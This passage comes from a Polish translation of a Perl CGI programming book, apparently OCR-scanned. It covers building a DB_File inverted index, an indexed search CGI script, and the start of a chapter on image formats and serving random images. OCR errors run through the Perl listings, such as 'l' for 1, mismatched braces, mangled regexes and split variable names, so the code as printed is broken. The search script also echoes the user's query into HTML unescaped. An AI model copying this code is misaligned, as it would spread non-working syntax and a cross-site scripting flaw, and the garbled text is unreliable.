sub składnia { my $skladnia = <<Koniec_skladni; Składnia: $0 -dir katalog [opcje] Opcje są następujące: -cache Rozmiar bufora DB_File (w bajtach) -index Ścieżka do indeksu, domyślnie:/usr/local/apache/data/index.db -ignore Uwzględnianie wielkości liter w indeksie -stop Ścieżka do pliku wyrazów nieistotnych -numbers Uwzględnianie liczb w indeksie -stem Pozostawianie samego tematu wyrazu Koniec_skladni return $skladnia; } Moduł File::Find posłuży nam do uzyskiwania listy wszystkich plików w podanym katalogu oraz plików w jego podkatalogach. Moduł File::Basename dostarcza funkcji służących do ekstrakcji nazw plików, gdy dana jest pełna ścieżka. Może nas zastanawiać, po co nam te funkcje, skoro nazwę pliku możemy uzyskać za pomocą prostego wyrażenia regularnego. Otóż, gdybyśmy użyli wyrażenia regularnego, musielibyśmy ustalić platformę, na której dana aplikacja działa, i odpowiednio wyekstrahować nazwę pliku. Ten moduł nas w tym wyręcza. Moduł DB_File służy do tworzenia i składowania indeksu. Zauważmy, że indeks moglibyśmy przechowywać również w systemie relacyjnych baz danych, jednak plik DBM z pewnością w wielu wypadkach jest zupełnie wystarczający. Metoda tworzenia indeksów jest taka sama bez względu na format, w którym indeks jest przechowywany. Moduł Getopt::Long ułatwia obsługę opcji wiersza poleceń, a moduł Text::English udostępnia algorytmy, które automatycznie usuwają przyrostki (gdy chodzi o język angielski) i pozostawiają sam temat wyrazu. W stałej DB_CACHE przechowujemy rozmiar bufora pamięciowego modułu DB_File. Zwiększenie rozmiaru bufora (do pewnej granicy) poprawia tempo wypełniania indeksu kosztem pamięci. Innymi słowy, zwiększa szybkość umieszczania wyrazów w indeksie. Domyślnie rozmiar bufora wynosi 0. DEFAULT_INDEX zawiera domyślną ścieżkę do pliku, w którym będą przechowywane dane. Użytkownik, posługując się opcją index, może wskazać inny plik, co wkrótce pokażemy. Za pomocą funkcji GetOptions (wchodzącej w skład modułu Getopt::Long) możemy wyekstrahować dowolne opcje wiersza poleceń i umieścić je w tablicy asocjacyjnej. W tym celu do GetOptions przekazujemy referencję do tablicy asocjacyjnej oraz listę opcji. Przy tych opcjach, którym towarzyszą argumenty, podawana jest litera „s", oznaczająca łańcuch znakowy. Aplikacja umożliwia przekazanie kilku opcji, które będą mieć wpływ na proces indeksowania. Obowiązkowe jest podanie tylko opcji -dir, ponieważ określa ona katalog zawierający plik do indeksowania. Do ustanawiania rozmiaru bufora służy opcja -cache. Poprzez opcję -index można podać ścieżkę do indeksu. Opcja -ignore sprawia, że w tworzonym indeksie wszystkie wielkie litery zamieniane są na małe (oznacza to'że nie zostaje uwzględniona wielkość liter). Przyspiesza to tworzenie indeksu, a jednocześnie zmniejsza jego rozmiar. Jeśli w indeksie mają być uwzględniane liczby, można podać opcję -numbers. Za pomocą opcji -stop można wskazać plik zawierający wyrazy „nieistotne" (ang. „stop" words, dosł. wyrazy „interpunkcyjne") - czyli takie, które na ogół można znaleźć prawie we wszystkich dokumentach. Typowymi wyrazami nieistotnymi są: „to", „jest", „który", „są", a w języku angielskim - „a", „an", „to", „it" oraz „the". Można też uwzględnić nieistotne słowa, które są charakterystyczne dla konkretnych dokumentów. Ostatnia opcja, -stem, powoduje, że przed umieszczeniem wyrazów w indeksie usuwane są ich przyrostki (dotyczy języka angielskiego). Dzięki temu wyszukiwanie wyrazów w dokumencie staje się łatwiejsze. Na przykład, jeśli użytkownik będzie szukać angielskiego wyrazu „tomatoes", aplikacja zwróci dokumenty zawierające zarówno „tomatoes", jak i „tomato". Ważna uwaga: w wypadku użycia opcji usuwania przyrostków powstaje indeks nieuwzględniający wielkości liter. Oto przykładowy sposób użycia różnych opcji: $ perl indexer.pl -dir /usr/local/apache/htdocs/sport \ -cache 16_000_000 \ -index /usr/local/apache/data/sport.db \ -stop wyrazy_nieistotne.txt \ -stem % indeks jest tablicą asocjacyjną, w której będzie przechowywany indeks. W celu jej związania z plikiem podanym w zmiennej $opc j e { index} posłużymy się funkcją tie. Dzięki tej operacji będziemy mogli w sposób przezroczysty sięgać poprzez tablicę asoq'acyjną do pliku, który później będzie można pobrać i zmodyfikować W opisywanym przykładzie używamy modułu DB_File, ponieważ jest szybszy i efektywniejszy niż inne implementacje DBM. Gdy użyjemy opcji -stem, fakt ten zostanie odnotowany w indeksie, tak że skrypt CGI będzie mógł rozpoznać, czy również zapytanie ma być poddane usuwaniu przyrostków. Informację tę moglibyśmy przechowywać w odrębnym pliku bazy danych, lecz wymagałoby to otwierania dwóch plików przy każdym wyszukiwaniu. Zamiast tego nazwę odpowiedniego słowa kluczowego poprzedzamy wykrzyknikiem, aby nie można go było pomylić z jakimkolwiek wyrazem indeksowanym. Za pomocą funkcji find (wchodzącej w skład modułu File::Find) uzyskujemy listę wszystkich plików w podanym katalogu. Pierwszym argumentem tej funkcji powinna być referencja do kodu. Może nią być referencja do procedury z nazwą albo procedura śródwierszowa bez nazwy. Ponieważ find operuje na katalogu (oraz na
Programowanie CGI w Perlu
153
wszystkich podkatalogach), wykonuje kod wskazany w pierwszym argumende, przypisując przy tym zmiennej $File::Find::name ścieżkę pliku. W ten sposób powstaje tablica ścieżek do wszystkich plików poniżej pierwotnego katalogu. Jeśli plik wyrazów nieistotnych został podany i istnieje, wywołujemy funkcję wczytaj_wyrazy_nieistotne, aby odczytała go i zwróciła referencję do tablicy asocjacyjnej. Najważniejszą funkcją w tej aplikacji jest przetworz_pliki, która 'iteracyjnie przetwarza wszystkie pliki, a zawarte w nich wyrazy umieszcza w zmiennej $indeks. Na koniec zamykamy powiązanie między tablicą asocjacyjną a plikiem i opuszczamy skrypt. W tym momencie będziemy już mieć plik z indeksem. Przyjrzyjmy się teraz funkcjom. Funkcja wczytaj_wyrazy_nieistotne otwiera plik wyrazów nieistotnych, ignoruje wszystkie komentarze (wiersze zaczynające się od znaku „ #") i dokonuje ekstrakcji pierwszego wyrazu napotkanego w wierszu (\ S+). Litery tego wyrazu są zamieniane na małe za pomocą funkcji Ic i umieszczane jako klucze w tablicy asocjacyjnej, do której odwołujemy się poprzez zmienną $wyrazy. Ponieważ w plikach zamierzamy wyszukiwać wyrazy o zróżnicowanych małych i wielkich literach, porównywanie ich z tą listą będzie o wiele łatwiejsze i szybsze, gdy wszystkie wyrazy nieistotne będą w całości zapisane małymi albo wielkimi literami. Zanim opiszemy metodę przetworz_pliki, przyjrzyjmy się jej argumentom. Pierwszy argument, $indeks, to referencja do*pustej tablicy asocjacyjnej, która na koniec będzie zawierać wyrazy ze wszystkich plików oraz odsyłacze do dokumentów. Argument $pliki to referencja do listy wszystkich plików poddawanych rozbiorowi. Argument $opc j e to referencja do tablicy asocjacyjnej z argumentami wiersza polecenia. Ostatni argument, $wyrazy_nieistotne, to referencja do tablic asocjacyjnych zawierających wyrazy nieistotne. Jeśli użytkownik zrezygnuje z uwzględniania wielkości liter, litery we wszystkich wyrazach zamienimy na małe, tworząc jednolity pod tym względem indeks. Domyślny w Perlu separator rekordów, $/, ustawiamy w tryb akapitowy. Innymi słowy, w wyniku pojedynczego odczytu poprzez uchwyt pliku otrzymamy akapit, a nie pojedynczy wiersz. Umożliwi to nam szybsze indeksowanie plików. Za pomocą funkcji for iteracyjnie przechodzimy przez tablicę @ $pliki, umieszczając klucz w zmiennej $id_pliku, a wartość bieżącego pliku w zmiennej $plik. Ponieważ ta aplikacja tworzy indeks czytelny dla człowieka, będziemy brać pod uwagę tylko pliki tekstowe. Aby zignorować pliki nietekstowe, stosujemy operator T. Pierwszy wpis w tablicy asocjacyjnej %$indeks jest „unikatowym" kluczem, kojarzącym liczbę z pełną ścieżką do pliku. Ponieważ w tej tablicy będą przechowywane także wszystkie znalezione wyrazy, dlatego liczbę odwzorowań pliku będziemy separować od wyrazów za pomocą łańcucha „!NAZWA_PLIKU". Proces indeksowania rozpoczynamy od iteracyjnej analizy pliku akapit po akapicie; zmienna $_ przechowuje treść. Jeśli użytkownik podał opcję -case, litery odczytanego akapitu zamieniamy na małe. Ponadto usuwamy z akapitu wszystkie znaczniki HTML, gdyż nie chcemy ich umieszczać w indeksie. Wyrażenie regularne poszukuje łańcucha zaczynającego się znakiem „<", po którym następuje jeden lub więcej znaków (nie wyłączając znaków przejścia do nowego wiersza), i kończącego się znakiem „>". Odczytujemy akapit iteracyjnie, za pomocą wyrażenia regularnego wydzielając wyrazy nie krótsze od dwóch znaków, którymi mogą być litery i cyfry (\d oznacza dopasowywanie znaków z przedziału „0-9"). Wyraz pasujący do wyrażenia umieszczany jest w zmiennej $ l. Zanim sprawdzimy, czy wyekstrahowany wyraz jest wyrazem nieistotnym, jego litery musimy zamienić na małe, ponieważ to samo zrobiliśmy wcześniej ze wszystkimi wyrazami nieistotnymi zapisanymi w osobnym pliku. Jeśli okaże się wyrazem nieistotnym, to pomijamy go i kontynuujemy wykonywanie skryptu. Gdy nie jest określona opq'a -numbers, pomijamy także liczby. Jeśli podana jest opq'a -stem, wywołujemy funkcję stem modułu Text::English, aby z wyrazów usunąć przyrostki, a litery zamienić na małe. Text::English rozprowadzany jest jako składnik modułu perlind,ex. W końcu jesteśmy gotowi do umieszczenia wyrazu w indeksie; plik właśnie poddawany rozbiorowi będzie w nim reprezentowany wartością liczbową. Niestety nie jest to takie proste. Ostatnie polecenie jest dość długie i skomplikowane. Łatwiej jest je czytać wspak. Najpierw sprawdzamy, czy dany wyraz został już napotkany w danym pliku, opierając się na tablicy asocjacyjnej $spotkany_w_pliku; w pierwszym cyklu tablica asocjacyjna będzie pusta i w wyniku da wartość „fałsz" (dlatego przejdzie test unless); odtąd będzie już wskazywać, ile razy spotkano wyraz w pliku i w wyniku dawać wartość „prawda" (i dlatego nie będzie przechodzić testu unless). Tak więc, gdy po raz pierwszy napotykamy w pliku dany wyraz, dodajemy go do indeksu. Jeśli wyraz został już zaindeksowany przy przetwarzaniu innego pliku, to $id_pliku bieżącego pliku dołączamy, po dwukropku, do poprzedniej pozycji. W przeciwnym razie dodajemy $ id_pl i ku jako dotychczas jedyną wartość danego wyrazu. Gdy funkqa zakończy działanie, tablica asocjacyjna %$indeks będzie wyglądać mniej więcej tak: $indeks = { "!NAZWA_PLIKU:1" => "/usr/local/apache/htdocs/sport/sprint.html", "!NAZWA_PLIKU:2" => "/usr/local/apache/htdocs/spórt/olimpiada.html", "!NAZWA_PLIKU:3" => "/usr/local/apache/htdocs/spór t/cel tics.html", biegacz => "1:2", cel => "3", cena => "2:3", czas => "2", dawka => "1", defekt => "2:3", efekt => "1:2:3"
Programowanie CGI w Perlu
154
}; Teraz już możemy stworzyć aplikaq'ę CGI, która będzie przeszukiwać tak powstały indeks. Aplikacja wyszukiwawcza Gdy przychodzi pora na napisanie aplikacji CGI, która będzie się zajmować właściwym wyszukiwaniem, od razu widać, jak bardzo aplikacja indeksująca ułatwia nam życie. Aplikacja CGI powinna przeprowadzić rozbiór danych wprowadzonych z formularza, otworzyć plik DBM utworzony przez aplikację indeksującą, odszukać ewentualne dopasowania, a wynik zwrócić w postaci HTML-a. Przykład 12.4 przedstawia odpowiedni program. Przykład 12.4. indexed_search.cgi #!/usr/bin/perl -wT use strict; use Fcntl; use DB_File; use CGI; use CGIBook::Error; use File::Basename; use Text::English; use constant INDEX_DB => "/usr/local/apache/data/index.db"; my( %indeks, $sciezki, $sciezka ) ; my $q = new CGI; my $zapytanie = $q->param("zapytanie"); my @wyrazy = split /\s* (, | \s+)/, $zapytanie; tie %indeks, "DB_File", INDEX_DB, O_RDONLY, 0640 or error( $q, "Nie można otworzyć bazy danych" ); $sciezki = szukaj ( \%indeks, \@wyrazy ); print $q->header, $q->start_html( "Wyszukiwanie oparte na indeksie odwróconym" ), $q->hl( "Odszukaj: $zapytanie" ); unless ( @$sciezki ) { print $q->h2( $q->font( ( -color => "#FFOOO" }, "Brak dopasowań" ) ); } foreach $sciezka ( @$sciezki ) { my $plik = basename ( $sciezka ) ; next unless $sciezka =~ s/^\Q$ENV{DOCUMENT_ROOT} \E//o; $sciezka = do_sciezki_uri ( $sciezka ) ; print $q->a( { -href => "$sciezka" }, "$sciezka" ), $q->br; } print Sq->end_html; untie %indeks; sub szukaj { my( $indeks, $wyrazy ) = @_; my $usun_przyrostki = exists $indeks->{"!OPCJA:stem"} ? l : 0; my $ignoruj_wlk_liter = exists $indeks->{"!OPCJA:ignore"} ? l : 0; my( %dopasowania, $wyraz, $indeks_pliku ); foreach $wyraz ( @$wyrazy ) { my $dopasowanie; if ( $usun_przyrostki ) { my( $temat_wyrazu ) = Text::English::stem( $wyraz ); $dopasowanie = $indeks->{$temat_wyrazu); } elsif ( $ignoruj_wlk_liter ) { $dopasowanie = $indeks->{1c $wyraz}; } else { $dopasowanie = $indeks->{ $wyraz}; } next unless $dopasowanie; foreach $indeks_pliku ( split /:/, $dopasowanie ) { my $nazwa_pliku = $indeks->{ " !NAZWA_PLIKU: $indeks_pliku" }; $dopasowania { $nazwa_pliku } ++; } } my @pliki = map { $_->[0] } sort { $dopasowania{$a-> [0] } <=> $dopasowania{$b-> [0] } || $a->[1] <=> $b->[1] } map { [ $_, -M $_ ] } keys %dopasowania; return \@pliki; } sub do_sciezki_uri {
Programowanie CGI w Perlu
155
my $sciezka = shift; my( $nazwa, @elementy ); do { ( $nazwa, $sciezka ) = fileparse( $sciezka ); unshift @elementy, $nazwa; chop $sciezka; } while $sciezka; return join '/', @elementy; } Wymienione na początku moduły powinny już być znane. Stała INDEX_DB zawiera ścieżkę do indeksu utworzonego przez aplikację indeksującą. Ponieważ na zapytanie może się składać kilka wyrazów, dzielimy je na podstawie białych znaków lub przecinków, a wydzielone wyrazy umieszczamy w tablicy @ wyra z y. Za pomocą funkcji tie otwieramy plik DBM indeksu w trybie tylko do odczytu. Innymi słowy, wiążemy plik indeksu z tablicą asocjacyjną %indeks. Jeśli nie uda się otworzyć pliku, wywołujemy funkcję error, aby do przeglądarki zwrócić komunikat o błędzie. Właściwe wyszukiwanie jest realizowane wystarczająco dokładnie w funkcji szukaj, która przyjmuje referencję do tablicy asocjacyjnej indeksu oraz referencję do listy poszukiwanych wyrazów. Pierwsze, co robimy, to zaglądamy do indeksu i sprawdzamy, czy opcja usuwania przyrostków (czyli pozostawiania samych tematów wyrazów) została określona przy tworzeniu indeksu. Następnie wykonujemy pętle. przez tablice @$wyrazy, poszukując ewentualnych dopasowań. Jeśli usuwanie przyrostków było włączone, pozostawiamy sam temat wyrazu i w takiej postaci używamy go przy porównywaniu. W przeciwnym razie sprawdzamy, czy dany wyraz występuje w indeksie w nieokrojonej postaci lub, jeśli indeks nie uwzględnia wielkości liter, jako wyraz pisany małymi literami. Jeśli którekolwiek porównanie zakończy się sukcesem, będzie to oznaczać, że mamy dopasowanie. W przeciwnym razie ignorujemy wyraz i kontynuujemy wyszukiwanie. Jeśli stwierdzimy dopasowanie, dzielimy na części (funkcją split) listę zawierającą separowane dwukropkami identyfikatory plików, w których wyraz został wcześniej znaleziony. Ponieważ nie chcemy, aby na wynikowej liście pozycje się powielały, w tablicy asocjacyjnej %dopasowania umieszczamy pełne ścieżki odszukanych plików. Gdy pętla zakończy działanie, pozostawi po sobie listę odszukanych plików w tablicy %dopasowania. Chcielibyśmy w wynikach zaprowadzić porządek i wyświetlić je w kolejności odpowiadającej liczbie dopasowanych wyrazów, a następnie według czasu modyfikacji pliku. Tak więc, sortujemy klucze według liczby dopasowań, a następnie według daty zwracanej przez operator -M, przy czym ostatnio zmodyfikowane pliki umieszczamy w tablicy @pliki. Czas modyfikacji plików moglibyśmy ustalać przy każdym porównaniu w następujący sposób: my @pliki = sort { $dopasowania{$_} <=> $dopasowania($_} || -M $_ <=> -M $~ } keys %dopasowania; Niemniej jednak jest to sposób nieefektywny, ponieważ mogłoby się zdarzyć, że czas modyfikacji każdego pliku ustalalibyśmy wielokrotnie. Efektywniejszy algorytm, który zastosowaliśmy w programie, polega na wstępnym obliczaniu czasu modyfikacji. To podejście znane jest obecnie pod nazwą transformacji Schwartza, zawdzięczającej swą sławę Randalowi Schwartzowi. Jej objaśnienie wykracza poza ramy tej książki. Zainteresowani mogą sięgnąć do objaśnień Josepha Halla, dostępnych pod adresem http://www.5sigma.com/perl/schwtr.html. Zastosowaliśmy pewną odmianę tej transformacji, ponieważ realizujemy sortowanie dwuczęściowe. Generujemy nagłówki HTTP oraz nagłówki dokumentu HTML, po czym przechodzimy do sprawdzenia, czy mamy jakiekolwiek dopasowania. Jeśli nie, zwracamy prostą wiadomość. W przeciwnym razie w pętli przeglądamy tablicę @pl i k i, przypisując zmiennej $sciezka bieżący element każdego cyklu. Usuwamy tę część ścieżki, która pokrywa się z głównym katalogiem serwera. W ten sposób powinna nam pozostać ścieżka odpowiadająca URL-owi. W wypadku nieuniksowych systemów plików poszczególne katalogi nie są separowane ukośnikami zwykłymi („/")• Dlatego wywołujemy opartą na funkcji modułu File::Basename procedurę do_sciezkijuri, która oddziela poszczególne elementy ścieżki i zestawia je na nowo przy użyciu ukośników zwykłych. Zauważmy, że funkcja ta będzie działać na wielu systemach operacyjnych, włącznie z Win32 i MacOS, lecz nie będzie działać w systemach, w których separatorami składników ścieżki nie są pojedyncze znaki (np. w systemie VMS; jednak prawdopodobieństwo programowania CGI na maszynie VMS-owej jest niezwykle małe). Na podstawie nowo sformatowanych ścieżek konstruujemy odpowiednie łącza, drukujemy końcówkę HTML-a, zamykamy powiązanie między bazą danych a tablicą asocjacyjną i opuszczamy skrypt.
Rozdział 13 Tworzenie grafiki w sposób dynamiczny Dotąd zobaczyliśmy w książce wiele przykładowych skryptów CGI generujących dane wyjściowe w sposób dynamicz iy. W większości wypadków miały one postać stron HTML. Z pewnością jest to format najczęściej generowany przez skrypty CGI, jednak w istocie mogą one generować dane dowolnego formatu. W niniejszym rozdziale przyjrzymy się, jak dynamicznie tworzyć grafikę. Grafika tworzona dynamicznie ma wiele zastosowań. Jednym z najczęstszych są wykresy. Jeśli źródło danych ulega ciągłym zmianom (na przykład wyniki ankiet internatowych), skrypt CGI może wygenerować wykres stanowiący graficzne odzwierciedlenie chwilowego stanu danych. Bywają też sytuacje, gdy dynamiczne generowanie obrazów jest mniej sensowne. Jest ono mniej efektywne, niż gdyby serwer Web dostarczył gotowy obraz z pliku. Fakt, że niektóre narzędzia umożliwiają
Programowanie CGI w Perlu
156
generowanie naprawdę świetnej grafiki, nie oznacza, że od razu musimy z nich korzystać wyłącznie w kontekście dynamicznym. Jeśli obraz nie jest generowany na podstawie danych zmieniających się w czasie, powinno się go zapisać w statycznym pliku i właśnie w takiej postaci go udostępniać. Niniejszy rozdział stanowi obszerny przegląd różnych narzędzi do generowania dynamicznych obrazów w Internecie. Przy każdym podawane są źródła, z których można zaczerpnąć więcej informacji. Zadaniem tego rozdziału jest objaśnienie technik dynamicznego generowania obrazów i zaznajomienie czytelnika z najpopularniejszymi narzędziami. Pełny opis wielu z nich (i nie tylko) dostępny jest w poświęconej im książce autorstwa Shawna Wallace'a Programming Web Graphics with Perl and GNU Software (O'Reilly & Associates, Inc.).
Formaty plików Na początek przyjrzyjmy się formatom obrazów używanym obecnie w Internecie. Najpowszechniejszymi są, oczywiście, GIF i JPEG, które obsługiwane są przez każdą przeglądarkę Web. Omówimy tu jeszcze formaty PNG i PDF. GIF Format GIF (Graphics Interchange Format) został stworzony przez CompuServe i wypuszczony jako standard o otwartym źródle w roku 1987. Szybko zdobył popularność i wkrótce, wraz z JPEG-iem, uzyskał status standardowego formatu sieci Web. Pliki GIF zazwyczaj są dość małe, zwłaszcza w wypadku grafiki z niewielką liczbą kolorów, co sprawia, że znakomicie się nadają do transferu sieciowego. GIF obsługuje nie więcej niż 256 kolorów jednocześnie. Sprawdza się w wypadku tekstu i obrazów takich jak ikony, w których nie ma wielu kolorów, lecz występują wyraźne szczegóły. Algorytm kompresji LZW, który zastosowano w formacie GIF, jest bezstratny, co oznacza, że obraz nie traci na jakości przy kompresji ani przy dekompresji, dzięki czemu dokładnie zachowywane są szczegóły. Format GIF został rozszerzony o prostą obsługę animacji (także w pętli). Ruchome reklamy szarfowe występujące w Internecie to zazwyczaj animowane pliki GIF. Pliki GIF mogą mieć ponadto przezroczyste tło; w tym celu wybiera się jeden kolor, zamiast którego będzie przezroczystość. Patent LZW Niestety, CompuServe i inni widocznie nie zauważyli, że LZW, algorytm zastosowany w GIF-ie, już w 1983 roku został opatentowany przez Unisys. We wczesnych latach dziewięćdziesiątych Unisys odkrył, że GIF jest oparty na LZW. W 1994 roku CompuServe i Unisys porozumiały się i ogłosiły, że twórcy oprogramowania obsługującego format GIF muszą płacić tantiemy firmie Unisys. Należy zauważyć, że temu obowiązkowi nie podlegają autorzy stron Web, korzystający z plików GIF, ani użytkownicy, przeglądający je w sieci Web. Okoliczności te spowodowały ferment wśród projektantów, zwłaszcza tych, którzy udostępniają otwarte kody źródłowe. W rezultacie firma CompuServe wraz z innymi opracowała format PNG, który miał stać się następcą formatu GIF, nie opartym jednak na algorytmie LZW; format PNG omawiamy poniżej. Mimo wszystko GIF wciąż jest bardzo popularnym formatem, natomiast PNG nie we wszystkich przeglądarkach jest obsługiwany. Ze względu na kwestie licencyjne dotyczące LZW, narzędzia omawiane w tym rozdziale zapewniają tylko bardzo ograniczoną obsługę plików GIF, o czym wkrótce się przekonamy. PNG Format PNG (Portable Network Graphic) powstał jako następca formatu GIF. W stosunku do GIF-a wzbogacono go o następujące właściwości: • W PNG zastosowano efektywny algorytm kompresji, inny niż LZW. W większości wypadków kompresja jest trochę lepsza od osiąganej za pomocą algorytmu LZW. • PNG obsługuje obrazy w dowolnym z trzech trybów: z paletą ograniczoną do 256 lub mniejszej liczby kolorów, o 16-bitowej skali szarości oraz 48-bitowych kolorów rzeczywistych. • PNG obsługuje kanały alfa, dzięki czemu można się posługiwać różnymi stopniami przezroczystości. • Grafiki PNG mają lepszy algorytm obsługi międzyliniowości (tzw. przeplotu), dzięki czemu użytkownicy mogą się zorientować w zawartości obrazu podczas jego wczytywania znacznie szybciej niż w wypadku pliku GIF. Z dalszymi różnicami, a także demonstracją różnic między przeplotem w plikach PNG i GIF można się zapoznać pod adresem http://www.cdrom.com/pub/png/pngin-tro.html. Niestety wiele przeglądarek nie obsługuje obrazów PNG. Z kolei wśród tych, które to robią, wiele nie obsługuje wszystkich właściwości tego formatu, na przykład wielostopniowej przezroczystości. Można oczekiwać, że powszechność obsługi formatu PNG będzie stale wzrastać, a starsze przeglądarki ostatecznie zostaną pod tym względem uaktualnione. PNG nie obsługuje animacji. JPEG JPEG (Joint Photographic Experts Group) jest ciałem standaryzującym, powstałym w celu stworzenia formatu obrazu, w którym byłyby kodowane ciągłe przejścia tonalne. Standard JPEG w istocie opisuje bardzo ogólną metodę kompresji fotografii, a nie format pliku. Format pliku, za który powszechnie uważany jest JPEG, w rzeczywistości nosi nazwę JFIF, czyli JPEG File Interchange Format. Pozostaniemy przy bardziej znajomym terminie i do pliku JFIF będziemy się odwoływać jako do pliku JPEG. Pliki JPEG doskonale się nadają do kodowania fotografii. JPEG obsługuje pełny, 24-bitowy kolor, lecz zastosowano w nim algorytm kompresji stratnej, co oznacza, że przy każdej kompresji pliku szczegóły ulegają zatarciu. Ponieważ kodowanie w plikach JPEG odbywa się blokami, jego skutki najłatwiej zaobserwować w obrazach o bardzo wyrazistych szczegółach, na przykład w tekście lub grafice kreskowej. Szczegóły w tym wypadku mogą ulec rozmyciu. W plikach JPEG nie jest obsługiwana animacja ani przezroczystość. PDF
Programowanie CGI w Perlu
157
Format PDF (Portable Document Format) firmy Adobe to nie tylko format obrazu. Tak naprawdę jest to język wywodzący się z PostScriptu, umożliwiający dołączanie tekstu, prostych figur geometrycznych, grafiki kreskowej i obrazów rastrowych, a także wielu innych elementów. Pliki PDF - inaczej niż obrazy, które zwykle są wyświetlane na stronie HTML - są zazwyczaj samodzielnymi dokumentami, a użytkownicy, by je obejrzeć, muszą dysponować plug-inem przeglądarkowym lub osobną aplikacją, taką jak Adobe Acrobat.
Przekazywanie na wyjście danych obrazowych Z generowaniem danych obrazowych wiąże się kilka kwestii, które normalnie nie występują przy generowaniu HTML-a. Przyjrzymy się więc sposobom tworzenia własnych obrazów oraz wspomnianym zagadnieniom. Przykład 13.1 przedstawia skrypt CGI, który przy każdym wywołaniu zwraca wybrany losowo obraz. Przykład 13.1. random_image.cgi #!/usr/bin/perl -wT use strict; use CGI; use CGI::Carp; use constant ROZMIAR_BUFORA => 4_096; use constant KATALOG_OBRAZOW => "/usr/local/apache/data/obrazy_losowe"; my $q = new CGI; my $bufor = ""; my $obraz = losuj_plik( KATALOG_OBRAZOW, '\\.(png|jpg|gif)$' ); my( $typ ) = $obraz =~ A.(\w+)$/; $typ eq "jpg" and $typ = "jpeg"; print $q->header( -type => "image/$typ", -expires => "-Id" ) ; binmode STDOUT; local *OBRAZ; open OBRAZ, KATALOG_OBRAZOW . "/$obraz" or die "Nie można otworzyć pliku $obraz: $!"; while ( read( OBRAZ, $bufor, ROZMIAR_BOFORA ) ) { print $bufor; } close OBRAZ; # Przyjmuje ścieżkę do katalogu i ewentualnie wyrażenie regularne # służące za maskę nazwy pliku. Zwraca losowo wybraną nazwę pliku # z podanego katalogu, sub losuj_plik ( my( $katalog, $maska ) = @_; my $i = 0; my $plik; local( *KATALOG, $_ ); opendir KATALOG, $katalog or die "Nie można otworzyć katalogu $katalog: S!" while ( defined ( $_ = readdir KATALOG ) ) { /$maska/o or next if defined $maska; rand ++$i < l and $plik = $_; } closedir KATALOG; return $plik; } Ten skrypt CGI zaczyna się podobnie do pozostałych, niemniej funkcja losuj_plik wymaga krótkiego objaśnienia. Przekazujemy do niej ścieżkę do katalogu obrazów oraz wyrażenie regularne pasujące do rozszerzeń nazw plików GIF, PNG i JPEG. Algorytm, na którym funkcja się opiera, jest adaptacją algorytmu losowego wyboru wiersza w pliku tekstowym, przedstawionego na stronie podręcznikowej perlfaq5 (pierwotnie pojawił się w książce Perl - programowanie): rand($.) > l && ( $wiersz = $_ ) while <>; Ten kod wybiera wiersz z pliku tekstowego, odczytując plik raz i jednorazowo zapamiętując tylko dwa wiersze. Zmiennej $wierszna początek zawsze zostaje przypisany pierwszy wiersz; prawdopodobieństwo, że przypisany zostanie drugi wiersz, wynosi jeden do dwóch, przy trzecim wierszu - już tylko jeden do trzech, itd. Za każdym razem prawdopodobieństwa zostają odpowiednio wyważone, bez względu na liczbę wierszy w pliku. Technikę tę stosujemy również przy odczytywaniu plików w katalogu. Najpierw odrzucamy wszelkie pliki, które nie pasują do ewentualnie podanej maski. Następnie, posługując się znanym algorytmem, ustalamy, czy zanotować bieżącą nazwę pliku. Nazwa pliku, która została zanotowana jako ostatnia, będzie tą, którą ostatecznie zwrócimy. Po powrocie do zasadniczej części skryptu ustalamy, na podstawie rozszerzenia pliku, typ nośnika obrazu. Ponieważ w wypadku plików JPEG typ nośnika (image/jpeg) różni się od zazwyczaj stosowanego rozszerzenia (.jpg), w razie potrzeby przeprowadzamy konwersję nazwy typu. Następnie drukujemy nagłówek z odpowiednim typem nośnika, a ponadto nagłówek Expires w celu „zniechęcenia" przeglądarki do buforowania tej odpowiedzi. Nagłówek ten, niestety, nie zawsze działa; kwestią tą wkrótce się zajmiemy. blnmode
Programowanie CGI w Perlu
158
Po wydrukowaniu nagłówka sygnalizujemy za pomocą wbudowanej funkcji Perla binmode, że na wyjście przekazujemy dane binarne. Jest to ważne. W systemach uniksowych binmode nie odgrywa żadnej roli (dlatego w tych systemach może być pominięta), lecz w Windows, MacOS i innych systemach operacyjnych, w których koniec wiersza nie jest oznaczany pojedynczym znakiem przejścia do nowego wiersza, wyłącza automatyczną konwersję znaków, gdyż mogłaby ona uszkodzić dane w postaci binarnej. Na koniec odczytujemy i podajemy na wyjście dane obrazowe. Zauważmy, że dlatego, iż jest to plik binarny, nie ma on standardowych zakończeń wierszy, więc zamiast nawiasów ostrokątnych, o, stosowanych przy plikach tekstowych, musimy użyć funkcji read. Włączanie dynamicznych obrazów do HTML-a Do dokumentów HTML, tak jak standardowe obrazy, można też włączać obrazy dynamiczne: za pomocą URL-a. Na przykład poniższy znacznik spowoduje wyświetlenie obrazu wybranego losowo przez przedstawiony wcześniej skrypt: <IMG SRC="/cgi/random_image.cgi"> Nadmiarowa informacja o ścieżce Istnieją, niestety, przeglądarki (konkretnie: niektóre wersje Internet Explorera), które niekiedy większą wagę przywiązują do rozszerzenia pobieranego zasobu niż do HTTP-owego nagłówka typu nośnika. Oczywiście, w świetle standardu HTTP jest to błąd i zapewne przypadkowa usterka. Chcąc dostosować się do użytkowników takich przeglądarek, możemy dołączać do URL-i nadmiarowe informacje o ścieżce, które zapewnią użycie właściwego rozszerzenia pliku: <IMG SRC="/cgi/wykres_ankiety.cgi/ankieta.png"> Serwer Web mimo to uruchomi skrypt wykresjmkiety.cgi, który wygeneruje obraz, ignorując dodatkową informację /ankieta.png. Tak się składa, że dodawanie takiej fałszywej informacji o ścieżce jest naprawdę dobrym pomysłem, który warto stosować tam, gdzie spodziewamy się, że użytkownicy skryptu CGI będą chcieli zapisać u siebie dynamicznie wygenerowany przez nas obraz. Przeglądarki zapisywanym plikom domyślnie nadają nazwy odpowiadające zażądanym zasobom, a przecież użytkownik wolałby zapisać grafikę pod nazwą ankieta.png, a nie - wykres_ankiety.cgi. Skrypty CGI, takie jak random_image.cgi, ustalające nazwę pliku i (lub) rozszerzenie w sposób dynamiczny, mogą realizować to zadanie opierając się na przekierowaniu, W skrypcie random_image,cgi (przykład 13.1) wiersz, w którym zmiennej $ obraz przypisywana jest wartość, moglibyśmy zastąpić na przykład następującymi wierszami: my( $obraz ) = $q->path_info =~ / (\w+\ . \w+) unless (defined $obraz and -e KATALOGJDBRAZOW . "/$obraz" ) { $obraz = losuj_plik( KATALOG_OBRAZOW, '\\.(png|jpg|gif)$' ) ; print $q->redirect ( 